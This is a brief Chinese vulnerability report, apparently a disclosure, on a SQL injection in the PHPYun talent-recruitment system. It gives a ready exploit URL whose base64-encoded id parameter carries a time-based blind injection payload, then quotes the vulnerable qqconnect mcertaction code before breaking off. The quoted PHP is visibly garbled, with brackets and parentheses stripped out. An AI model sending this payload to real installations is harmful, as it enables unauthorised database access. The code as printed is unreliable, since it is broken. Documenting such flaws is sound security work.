php云人才系统sql注入漏洞

简要描述： 详细说明： index.php?M=qqconnect&C=mcert&id=MScgYW5kIHNsZWVwKDEwKSBhbmQgJzEnPScxfDE0OTA4MTQyfA== 测试 model/qqconnect.class.php function mcertaction $id=$GET'id'; $arr=@explode"|",base64decode$id;//解码 if$id && isarray$arr && $arr0 && $arr2==$this-config'coding'//主要看coding 是配置文件里面的 默认是空 如果修改 echo...